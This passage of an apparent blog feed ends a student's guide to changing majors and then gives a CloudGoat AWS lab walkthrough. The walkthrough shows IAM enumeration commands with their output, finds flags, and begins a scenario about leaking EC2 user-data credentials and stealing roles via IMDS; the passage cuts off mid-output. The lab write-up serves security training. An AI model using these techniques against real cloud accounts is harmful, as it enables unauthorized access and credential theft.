title="机考"></a>机考</h3><p>6月2日下午4点，高数成绩开放查询，同时通知你有没有进面试。</p><p>之后一周内会发公文通通知机考和面试安排。今年特别快，6月8日就出了拟录取名单（只针对计软，别的学院我不清楚）。</p><p><strong>机考模拟</strong>：6月3日晚上有一场模拟，题目难度没有参考性，就是让你熟悉平台。如果你选过程设，那就是期中期末那种模式。</p><p><strong>正式机考</strong>：6月4日18:00～20:00<br>考场也是提前通知。</p><p>流程：</p><ol><li>拿身份证/学生证/校园卡签名进场，按座位号坐好。</li><li>登录云桌面，在云桌面里进OJ平台。</li><li>开考后，监考老师会让你在云桌面里写自己的IP地址，证明你是在云桌面里作答。<strong>不要有任何作弊的想法</strong>，云桌面完全隔离公网。</li></ol><p>编译器环境：云桌面有VSCode和Dev-C++，但VSCode没配好环境，debug只能用Dev-C++。我一般在VSCode里写代码（自动补全真香），然后复制到Dev-C++里编译运行调试，样例过了再复制到OJ提交处。</p><p>考两个小时，提前一小时能走。一共7道题，今年的回忆版：</p><blockquote><ol><li>买车，浮点数计算和处理  </li><li>买文具（类似百钱买鸡），条件判断  </li><li>成绩统计，数组  </li><li>(x,y)象限判断，嵌套多条件判断  </li><li>希尔排序复现  </li><li>身份证升位  </li><li>矩阵90/180/270旋转</li></ol></blockquote><h3 id="面试"><a href="#面试" class="headerlink" title="面试"></a>面试</h3><p>6月5日18:00开始面试。要求带成绩证明、计算机相关奖项复印件（有就带），也可以带简历。</p><p>跟机考一样，只准带身份证明和上面说的文件进候考室（致腾楼的机房）。候考室有录像设备，安心等着，别拿机房电脑搞事。</p><p>志愿者来叫你，你就带上所有东西去面试间。面试间里有三个考官和一个辅助老师。在门口等上一个人出来，进去后先把身份证明和材料给讲台旁的老师，然后签名，接着在电脑上点“开始”。站到讲台上（录像能拍到你），屏幕上会有一个<strong>5分钟倒计时</strong>。一个人强制5分钟，时间一到就结束。</p><p>开始后系统随机从题库里抽一道题，你先回答这个。然后考官会翻你的成绩单或其他材料问你问题，一直问到5分钟满。</p><p>我被问到的问题（前两个是抽的，后面是追问）：</p><blockquote><ul><li>冯诺依曼体系的组成和功能  </li><li>大学四年的规划  </li><li>缓冲区栈溢出的原理、攻击、防御  </li><li>为什么《数据科学概论》这门课成绩那么低？  </li><li>怎么体现你的编程能力？  </li><li>感觉你很多知识都是在社团学的，有提前学学校的课程吗？  </li><li>为什么上学期没学线代？</li></ul></blockquote><p>刚开始的时候以为是上强度了，面试成绩会很拉，但最后成绩还行，仔细思考了一下，像这种专门问你专业知识，问你具体能力的反而才是老师重视你，想要你来到他们学院，如果只是简单唠唠家常的，更容易挂，因为老师对你提不起兴趣，只是想走个过场</p><h3 id="拟录取结果"><a href="#拟录取结果" class="headerlink" title="拟录取结果"></a>拟录取结果</h3><p>6月8日中午公文通出拟录取名单。到了这一步，只要你<strong>不违法犯罪</strong>，基本就稳了。</p><p>我的最终成绩是高数79，机考AK，面试89，总成绩88.8</p><p>还是高数低了，双中值犯蠢痛失近十分</p><hr><h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><h3 id="关于高数"><a href="#关于高数" class="headerlink" title="关于高数"></a>关于高数</h3><p>高数笔试题越来越难了。想靠“先进逆神再转专业”这条路，已经不太稳了。难度肯定一年比一年高，最后稳定在一个比较难的水平。</p><p>前两年转专业通过率70%左右，去年好像只有40%多。而且大多数人转专业都往计软、AI、电信、机械、生医工这些工科挤（文科集中在法学和网新？）。名额就那么多，必然有人被刷。所以你要想清楚：你有没有自律性自己学？能不能接受转专业失败、留在原专业？</p><p>高数建议直接按<strong>考研中等难度</strong>准备。上学期跟学校老师学，但自己额外刷题。推荐宋浩1000题（今年很多原题就是里面的），自己看情况刷，我没刷几道。上学期打好基础，方便你放假或下学期刷考研题。</p><p>下学期就系统刷考研题，看张宇30讲，把中值问题、微分方程、积分不等式等难点单独学。不用往死里学，但要有个框架，知道考什么、怎么考。再做一些985的期末题。这种准备绝对过剩——但只有过剩和不过，没有刚刚好。</p><p>附带一些我学的时候的资料</p><blockquote><p>试卷：</p><p>期末考研题<a href="https://mp.weixin.qq.com/s/EebVQB9pL3Mk7Lo2WQMvaw">《高等数学》第一学期期末模拟测试题（一）及参考解答</a></p><p>92高校期末题<a href="https://www.zhihu.com/people/haochizhang">(1 封私信 / 54 条消息) MathHub - 知乎</a></p></blockquote><h3 id="关于选课"><a href="#关于选课" class="headerlink" title="关于选课"></a>关于选课</h3><p>逆神选课基本没专业限制，每门课都会对外放几个名额（算拓展通识学分）。而且本科生选课理论上不限你上什么专业课，只要毕业前修完培养方案的学分就行。</p><p>有两种打法：</p><ul><li><strong>猛攻打法</strong>：直接梭哈，选你要转的专业的培养方案课程。转成功后不用再花时间重修，能更快跟上进度，不影响实习。</li><li><strong>稳妥打法</strong>：边学高数边修原专业课，这样就算没过也不影响毕业。</li></ul><p>当然，有些课是必须改的：</p><blockquote><ul><li><strong>高数</strong>：本专业要求高数C的，转专业考的是高数A（大部分工科要A）。而且逆神高数A可以替代高数C的学分。所以<strong>一定要选A</strong>。推荐慕课，平时分高，拿高分相对简单，没期中考，线下课少，不用上早八——但每次线下课都有小测。</li><li><strong>线代</strong>：我吃了这个亏。大一上其实没啥学习压力，如果你学分够，推荐去抢一门线代上。你们高考生的脑子学起来不难，能分担大一下和转专业后的压力，就算转不成也没事。</li><li><strong>程设</strong>：最好的练习方法是上逆神的“程序设计”课。好处：提前适应OJ环境，平时用的同一平台，而且OJ有题库，很多考试题就是平时的作业题。能抢到就抢。</li><li><strong>其他课</strong>：我大一上不敢太激进，除了高数基本就学原专业课。大一下梭哈了，选满了计软的核心课程，原专业一点没选——但只选了对我来说难度不大的。程序设计帮我准备机考；我本身在深大信安社团，所以计网、计算机系统二、网络安全这些学起来不算太难；操作系统是大三的课，到了大三期末猛攻不挂科还是简单一些的。</li></ul></blockquote><p><strong>怎么抢课？</strong> 逆神选课分三批：</p><ul><li><strong>第一轮（抽签）</strong>：看命。操作空间是最后一天快结束时，看哪个老师选的人少，中签概率大一点。但别人不选的老师，要么管理严要么给分吝啬，自己掂量。</li><li><strong>第二轮（抢课）</strong>：记住，不只是刚开放那会儿有机会。二轮选课期间<strong>每天晚上8点</strong>会集中放出别人退掉的课，而且有时候会对你开放一些原本不在你选课范围的课。所以建议每天闲得没事就上去刷，万一捡漏呢。</li><li><strong>第三批（补选）</strong>：只要没选满的课都能选。我没经历过这个阶段，不瞎说。</li></ul><p>如果还是没选上，可以打补位表找老师申请。但如果你不是必修这门课的，老师可能会推脱。找个要必修这门课的朋友一起去，可能会顺便把你一起补上。计软专业课补位是在系统上给你加名额，但你要是没抢到也不好再找他。</p><h3 id="关于机考"><a href="#关于机考" class="headerlink" title="关于机考"></a>关于机考</h3><p>和上面一样，最好的办法就是强计软的程设课程，题库加环境适应还是很有帮助的，而且提前选这些课也能减轻你转专业之后的学习压力，现在修了就不用大二补修了，我觉得在有能力学习的情况下几乎没有什么害处而且机考要是能ak在最终成绩上还是很吃香的</p><p>如果没有抢到课也没关系，自学也不会差到哪去，不是所有想要转专业的人都会准备充足的，机考只是为了展现你的代码能力，还是会给一些签到题。学习视频的话<strong>翁恺</strong><a href="https://space.bilibili.com/1355742754?spm_id_from=333.337.0.0">翁恺c语言的个人空间</a>或者<strong>黑马</strong><a href="https://www.bilibili.com/video/BV1et411b73Z/?spm_id_from=333.337.search-card.all.click&amp;vd_source=ebed9cf44b439db6b7b6e9491c94f6c5">黑马程序员匠心之作|C++教程从0到1入门编程</a>都可以</p><p>平时刷题可以去看<strong>洛谷</strong><a href="https://www.luogu.com.cn/">首页 - 洛谷 | 计算机科学教育新生态</a>题单做到搜索肯定是绰绰有余的（来自acm大手子的推荐</p><p><img src="/others/zzy_guide/zzy_guide.assets/image-20260624135139273.png" alt="image-20260624135139273" loading="eager" decoding="async"></p><h3 id="关于面试"><a href="#关于面试" class="headerlink" title="关于面试"></a>关于面试</h3><p><strong>不要信什么“转专业不看绩点”</strong>，觉得3.0就够了。绩点低你连卓越班这类特殊班型都报不了（一般有绩点要求）。而且当你抱着这个态度的时候，绩点一般就不会高——因为我当初就是这么想的，最后两门原专业的高学分专业课考了D，美美拿下3.07的绩点（专业后30%）。</p><p>面试要看成绩单的。虽然说一视同仁，但你要是简历啥也没有，绩点还一坨，不筛你筛谁？还好我有一些竞赛经历、项目经历和SRC经历，绩点对我的影响忽略不计，所以我觉得我这样还是不亏的，大一打比赛做小玩具，比认真学管院的那些课程更有性价比。</p><p><strong>简历</strong>可以用这个网站： <a href="https://futurecv.cn/nddiW/">未来简历 - 免费AI简历制作与评估工具</a>。可以选择逆神校徽的版本，认证后免费下载导出。</p><p>下面贴我的简历给大家参考一下（打CTF的师傅都知道这简历有多水，但应付转专业面试完全足够甚至过量）：</p><p><img src="/others/zzy_guide/zzy_guide.assets/image-20260610093134074.png" alt="image-20260610093134074" loading="lazy" decoding="async"></p><p>简历里的东西在我博客里也能看到相关内容。</p><p>最后打一波广告：<br>你还在为简历没东西写而焦虑吗？还在为不知道如何提升能力而困扰吗？还在为想当大黑客却不知道怎么学而为难吗？</p><p><strong>加入深大信安，拥抱美好人生！</strong></p><p><img src="/others/zzy_guide/zzy_guide.assets/38564cf90268e1e0ce8ef332b34881d7.jpg" alt="38564cf90268e1e0ce8ef332b34881d7" loading="lazy" decoding="async"></p></body></html>]]>
    </content>
    <id>https://blog.btop251.top/others/zzy_guide/</id>
    <link href="https://blog.btop251.top/others/zzy_guide/"/>
    <published>2026-06-08T00:00:00.000Z</published>
    <summary>关于我转专业的一些经验</summary>
    <title>神砖转专业指北</title>
    <updated>2026-06-08T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="云安全" scheme="https://blog.btop251.top/categories/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <category term="云安全" scheme="https://blog.btop251.top/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<html><head></head><body><p>“CloudGoat”是安全公司 <strong>Rhino Security Labs</strong> 开发的一款<strong>专门设计为“自带漏洞”的 AWS 安全演练工具</strong>。</p><p>简单来说就是一个开源的自部署的云靶场</p><h2 id="安装和部署"><a href="#安装和部署" class="headerlink" title="安装和部署"></a>安装和部署</h2><p>安装依赖</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install -y python3 python3-pip pipx unzip curl jq awscli</span><br><span class="line">pipx ensurepath</span><br></pre></td></tr></tbody></table></figure><p>安装 Terraform</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">wget -O terraform.zip https://releases.hashicorp.com/terraform/1.8.5/terraform_1.8.5_linux_amd64.zip</span><br><span class="line">unzip terraform.zip</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mv</span> terraform /usr/local/bin/</span><br><span class="line">terraform version</span><br></pre></td></tr></tbody></table></figure><p>安装 CloudGoat</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pipx install cloudgoat</span><br><span class="line">cloudgoat --<span class="built_in">help</span></span><br></pre></td></tr></tbody></table></figure><p>配置</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cloudgoat config aws</span><br></pre></td></tr></tbody></table></figure><p>输入用户名称</p><p>aws用户创建看我第二篇博客<a href="https://blog.btop251.top/posts/%E4%BA%91%E5%AE%89%E5%85%A8/%E4%BA%91%E5%AE%89%E5%85%A801/">云安全01 - Btop251的博客</a></p><p>配置白名单</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cloudgoat config whitelist --auto</span><br></pre></td></tr></tbody></table></figure><h2 id="靶场搭建"><a href="#靶场搭建" class="headerlink" title="靶场搭建"></a>靶场搭建</h2><p>cloudgoat中有17个靶场，在Github页面的<strong>Scenarios Available</strong>部分可以导航到每个靶场的详情页面。</p><h3 id="iam-enum-basics"><a href="#iam-enum-basics" class="headerlink" title="iam_enum_basics"></a>iam_enum_basics</h3><p>点击第一个<code>iam_enum_basics</code>靶场。</p><blockquote><p>在这种情况下，你从一个名叫Bob的低级IAM用户的访问密钥开始。你的任务是使用 AWS CLI 进行全面的 IAM 枚举。通过调查托管政策、内联策略、组成员资格和可替代角色，你将发现五个不同的警示信号。</p></blockquote><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cloudgoat create iam_enum_basics</span><br></pre></td></tr></tbody></table></figure><p>根据提供的用户信息登录新用户</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aws configure --profile lel1</span><br></pre></td></tr></tbody></table></figure><h4 id="Flag-1-映射出管理策略-The-Description"><a href="#Flag-1-映射出管理策略-The-Description" class="headerlink" title="Flag 1: 映射出管理策略(The Description)"></a>Flag 1: 映射出管理策略(The Description)</h4><p>列出托管在bob下的所有策略，返回一个ARNs（亚马逊资源名）列表</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aws iam list-attached-user-policies --user-name cg-bob-cgid6iy7d9rxpn --profile lel1</span><br></pre></td></tr></tbody></table></figure><p>ARN（Amazon Resource Name）是 AWS 中<strong>唯一标识资源的标准名称</strong>，可以理解为 AWS 世界里的“资源身份证”。</p><p>当 AWS 需要指定：</p><ul><li>某个 IAM 用户</li><li>某个 S3 存储桶</li><li>某个 EC2 实例</li><li>某个 Lambda 函数</li></ul><p>时，通常都会使用 ARN。</p><p>接下来看这个arn下的具体数据，通过下面这个get命令</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~$ aws iam get-policy --policy-arn arn:aws:iam::************:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn --profile lel1</span><br><span class="line">{</span><br><span class="line">    <span class="string">"Policy"</span>: {</span><br><span class="line">        <span class="string">"PolicyName"</span>: <span class="string">"cg-flag1-managed-policy-cgid6iy7d9rxpn"</span>,</span><br><span class="line">        <span class="string">"PolicyId"</span>: <span class="string">"ANPATY3L4FB4DHX4XDKAS"</span>,</span><br><span class="line">        <span class="string">"Arn"</span>: <span class="string">"arn:aws:iam::************:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn"</span>,</span><br><span class="line">        <span class="string">"Path"</span>: <span class="string">"/"</span>,</span><br><span class="line">        <span class="string">"DefaultVersionId"</span>: <span class="string">"v1"</span>,</span><br><span class="line">        <span class="string">"AttachmentCount"</span>: 1,</span><br><span class="line">        <span class="string">"PermissionsBoundaryUsageCount"</span>: 0,</span><br><span class="line">        <span class="string">"IsAttachable"</span>: <span class="literal">true</span>,</span><br><span class="line">        <span class="string">"Description"</span>: <span class="string">"HSM{m4n4g3d_p0l1cy_m4st3r}"</span>,</span><br><span class="line">        <span class="string">"CreateDate"</span>: <span class="string">"2026-06-08T08:55:30+00:00"</span>,</span><br><span class="line">        <span class="string">"UpdateDate"</span>: <span class="string">"2026-06-08T08:55:30+00:00"</span>,</span><br><span class="line">        <span class="string">"Tags"</span>: [</span><br><span class="line">            {</span><br><span class="line">                <span class="string">"Key"</span>: <span class="string">"Scenario"</span>,</span><br><span class="line">                <span class="string">"Value"</span>: <span class="string">"scenario_template"</span></span><br><span class="line">            },</span><br><span class="line">            {</span><br><span class="line">                <span class="string">"Key"</span>: <span class="string">"Stack"</span>,</span><br><span class="line">                <span class="string">"Value"</span>: <span class="string">"CloudGoat"</span></span><br><span class="line">            }</span><br><span class="line">        ]</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>在回显中找到flag1字段</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"Description"</span><span class="punctuation">:</span> <span class="string">"HSM{m4n4g3d_p0l1cy_m4st3r}"</span></span><br></pre></td></tr></tbody></table></figure><h4 id="Flag-2-查找内联策略-The-Statement-ID"><a href="#Flag-2-查找内联策略-The-Statement-ID" class="headerlink" title="Flag 2: 查找内联策略(The Statement ID)"></a>Flag 2: 查找内联策略(The Statement ID)</h4><p>概念：与托管策略不同，内联策略是自定义的、一次性的、直接固化到特定用户的规则。管理员经常创建它们来进行快速修复，然后又忘记了它们，使它们成为权限提升的主要目标。</p><p>检查bob有没有什么隐藏的内联策略</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~$ aws iam list-user-policies --user-name cg-bob-cgid6iy7d9rxpn --profile lel1</span><br><span class="line">{</span><br><span class="line">    <span class="string">"PolicyNames"</span>: [</span><br><span class="line">        <span class="string">"cg-flag2-inline-policy-cgid6iy7d9rxpn"</span></span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>有了这个内联策略，拉去文档看看描述</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~$ aws iam get-user-policy --user-name cg-bob-cgid6iy7d9rxpn --profile lel1 --policy-n</span><br><span class="line">ame  cg-flag2-inline-policy-cgid6iy7d9rxpn</span><br><span class="line">{</span><br><span class="line">    <span class="string">"UserName"</span>: <span class="string">"cg-bob-cgid6iy7d9rxpn"</span>,</span><br><span class="line">    <span class="string">"PolicyName"</span>: <span class="string">"cg-flag2-inline-policy-cgid6iy7d9rxpn"</span>,</span><br><span class="line">    <span class="string">"PolicyDocument"</span>: {</span><br><span class="line">        <span class="string">"Version"</span>: <span class="string">"2012-10-17"</span>,</span><br><span class="line">        <span class="string">"Statement"</span>: [</span><br><span class="line">            {</span><br><span class="line">                <span class="string">"Action"</span>: <span class="string">"ec2:DescribeInstances"</span>,</span><br><span class="line">                <span class="string">"Effect"</span>: <span class="string">"Allow"</span>,</span><br><span class="line">                <span class="string">"Resource"</span>: <span class="string">"*"</span>,</span><br><span class="line">                <span class="string">"Sid"</span>: <span class="string">"HSM1nl1n3p0l1cyd1sc0v3r3d"</span></span><br><span class="line">            }</span><br><span class="line">        ]</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>拿到flag2</p><h4 id="Flag-3-调查组成员-The-Path"><a href="#Flag-3-调查组成员-The-Path" class="headerlink" title="Flag 3:调查组成员 (The Path)"></a>Flag 3:调查组成员 (The Path)</h4><p>概念：在AWS中，您不仅从直接附加到您的策略中获得权限；您还从所属的任何组继承所有权限。</p><p>在01篇中也有提到权限的获取也可以通过添加进组</p><p>检查bob属于哪个组</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~$ aws iam list-groups-for-user --user-name cg-bob-cgid6iy7d9rxpn --profile lel1</span><br><span class="line">{</span><br><span class="line">    <span class="string">"Groups"</span>: [</span><br><span class="line">        {</span><br><span class="line">            <span class="string">"Path"</span>: <span class="string">"/HSM_gr0up_m3mb3rsh1p_f0und/"</span>,</span><br><span class="line">            <span class="string">"GroupName"</span>: <span class="string">"cg-flag3-group-cgid6iy7d9rxpn"</span>,</span><br><span class="line">            <span class="string">"GroupId"</span>: <span class="string">"AGPATY3L4FB4BLZSKM3YX"</span>,</span><br><span class="line">            <span class="string">"Arn"</span>: <span class="string">"arn:aws:iam::************:group/HSM_gr0up_m3mb3rsh1p_f0und/cg-flag3-group-cgid6iy7d9rxpn"</span>,</span><br><span class="line">            <span class="string">"CreateDate"</span>: <span class="string">"2026-06-08T08:55:30+00:00"</span></span><br><span class="line">        }</span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h4 id="Flag-4-通过可承担的规则-Roles"><a href="#Flag-4-通过可承担的规则-Roles" class="headerlink" title="Flag 4:通过可承担的规则(Roles)"></a>Flag 4:通过可承担的规则(Roles)</h4><blockquote><p><strong>The Concept:</strong> Roles are temporary “hats” that a user can put on to gain different privileges. If a pentester finds an overly permissive role that their compromised user is allowed to assume, it’s often game over.</p></blockquote><p>列出账户中所有的roles</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aws iam list-roles --profile lel1</span><br></pre></td></tr></tbody></table></figure><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line">            <span class="attr">"Path"</span><span class="punctuation">:</span> <span class="string">"/"</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">"RoleName"</span><span class="punctuation">:</span> <span class="string">"cg-flag4-role-cgid6iy7d9rxpn"</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">"RoleId"</span><span class="punctuation">:</span> <span class="string">"AROATY3L4FB4HEPHZGEKS"</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">"Arn"</span><span class="punctuation">:</span> <span class="string">"arn:aws:iam::************:role/cg-flag4-role-cgid6iy7d9rxpn"</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">"CreateDate"</span><span class="punctuation">:</span> <span class="string">"2026-06-08T08:55:39+00:00"</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">"AssumeRolePolicyDocument"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">                <span class="attr">"Version"</span><span class="punctuation">:</span> <span class="string">"2012-10-17"</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">"Statement"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                    <span class="punctuation">{</span></span><br><span class="line">                        <span class="attr">"Effect"</span><span class="punctuation">:</span> <span class="string">"Allow"</span><span class="punctuation">,</span></span><br><span class="line">                        <span class="attr">"Principal"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">                            <span class="attr">"AWS"</span><span class="punctuation">:</span> <span class="string">"arn:aws:iam::************:user/cg-bob-cgid6iy7d9rxpn"</span></span><br><span class="line">                        <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line">                        <span class="attr">"Action"</span><span class="punctuation">:</span> <span class="string">"sts:AssumeRole"</span></span><br><span class="line">                    <span class="punctuation">}</span></span><br><span class="line">                <span class="punctuation">]</span></span><br><span class="line">            <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">"MaxSessionDuration"</span><span class="punctuation">:</span> <span class="number">3600</span></span><br><span class="line">        <span class="punctuation">}</span></span><br></pre></td></tr></tbody></table></figure><p>查他元数据</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aws iam get-role --role-name cg-flag4-role-cgid6iy7d9rxpn --profile lel1</span><br></pre></td></tr></tbody></table></figure><p>拿到flag</p><h4 id="Flag-05-策略版本"><a href="#Flag-05-策略版本" class="headerlink" title="Flag 05: 策略版本"></a>Flag 05: 策略版本</h4><p>当策略在后期修改时发现出现了修改错误可以进行回滚，类似git</p><p>首先，回顾第1步的输出<code>defaultversionid</code>（它通常是v1）</p><p>多加个规定版本</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~$ aws iam get-policy-version --policy-arn arn:aws:iam::************:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn --profile lel1 --version-id v1</span><br><span class="line">{</span><br><span class="line">    <span class="string">"PolicyVersion"</span>: {</span><br><span class="line">        <span class="string">"Document"</span>: {</span><br><span class="line">            <span class="string">"Statement"</span>: [</span><br><span class="line">                {</span><br><span class="line">                    <span class="string">"Action"</span>: [</span><br><span class="line">                        <span class="string">"s3:ListBucket"</span>,</span><br><span class="line">                        <span class="string">"s3:GetObject"</span></span><br><span class="line">                    ],</span><br><span class="line">                    <span class="string">"Effect"</span>: <span class="string">"Allow"</span>,</span><br><span class="line">                    <span class="string">"Resource"</span>: <span class="string">"arn:aws:s3:::HSM{s3cr3t_js0n_str1ng}"</span></span><br><span class="line">                }</span><br><span class="line">            ],</span><br><span class="line">            <span class="string">"Version"</span>: <span class="string">"2012-10-17"</span></span><br><span class="line">        },</span><br><span class="line">        <span class="string">"VersionId"</span>: <span class="string">"v1"</span>,</span><br><span class="line">        <span class="string">"IsDefaultVersion"</span>: <span class="literal">true</span>,</span><br><span class="line">        <span class="string">"CreateDate"</span>: <span class="string">"2026-06-08T08:55:30+00:00"</span></span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>拿到flag</p><h3 id="data-secrets-Easy"><a href="#data-secrets-Easy" class="headerlink" title="data_secrets (Easy)"></a>data_secrets (Easy)</h3><blockquote><p>在这种场景下，首先需要一个权限有限的IAM用户。你的任务是识别一个错误配置的EC2实例，泄露其用户数据中的凭据，让你获得SSH访问权限。从这里开始，您必须通过利用实例元数据服务（Instance Metadata Service， IMDS）来窃取角色，枚举Lambda函数以找到隐藏的环境变量，最后危及能够访问场景目标的用户：存储在AWS Secrets Manager中的秘密。</p></blockquote><p>创建实例</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cloudgoat create data_secrets</span><br></pre></td></tr></tbody></table></figure><p>登录新用户</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aws configure --profile start_user</span><br></pre></td></tr></tbody></table></figure><h4 id="枚举权限和EC2资源"><a href="#枚举权限和EC2资源" class="headerlink" title="枚举权限和EC2资源"></a>枚举权限和EC2资源</h4><p>查看旗下有什么EC2资源</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aws ec2 describe-instances --region us-east-1 --profile start_user</span><br></pre></td></tr></tbody></table></figure><p>得到instance-id为<code>i-09c6156a353b3b589</code></p><p>AWS中一个常见的错误配置是将敏感数据（脚本、密码、密钥）存储在EC2用户数据中，这对于拥有<code>ec2:DescribeInstanceAttribute</code>权限的用户是可见的</p><p>获取你找到的实例的用户数据：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~$ aws ec2 describe-instance-attribute --instance-id i-09c6156a353b3b589 --attribute u</span><br><span class="line">serData --region us-east-1 --profile start_user</span><br><span class="line">{</span><br><span class="line">    <span class="string">"InstanceId"</span>: <span class="string">"i-09c6156a353b3b589"</span>,</span><br><span class="line">    <span class="string">"UserData"</span>: {</span><br><span class="line">        <span class="string">"Value"</span>: <span 